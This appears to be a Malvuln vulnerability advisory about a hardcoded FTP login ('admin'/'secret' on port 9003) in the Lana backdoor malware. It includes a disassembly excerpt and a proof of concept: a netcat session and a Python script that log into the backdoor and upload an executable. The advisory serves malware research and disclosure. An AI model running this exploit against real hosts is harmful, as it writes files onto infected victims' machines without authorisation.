Backdoor.Win32.FTP.Lana.01.d Hardcoded Credential

Backdoor.Win32.FTP.Lana.01.d malware suffers from a hardcoded credential vulnerability.


MD5 | ae7352e3b49777bfd29c50ab208e71f5

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Credentials
Family: Lana
Type: PE32
MD5: ea9ab5983a6fa71e31907e74d4ddbab6
Vuln ID: MVID-2022-0539
Dropped files: sersvc32.exe
Disclosure: 04/06/2022
Description: The malware listens in TCP port 9003. The credentials "admin" and "secret" are weak and stored in plaintext with the executable.

00404004 aAdmin db 'admin',0 ; DATA XREF 00401FBF
00404004 ; sub_402765+4A3↑o
00404019 aSecret db 'secret',0 ; DATA XREF 00401FA8

Exploit/PoC:
nc64.exe x.x.x.x 9003
220 Silver FTP v1.1
USER admin
331 Password required for admin.
PASS secret
230 User logged in, proceed.
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,125,195,84).
STOR DOOM.exe
150 Data connection accepted.
226 Transfer ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=50004
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts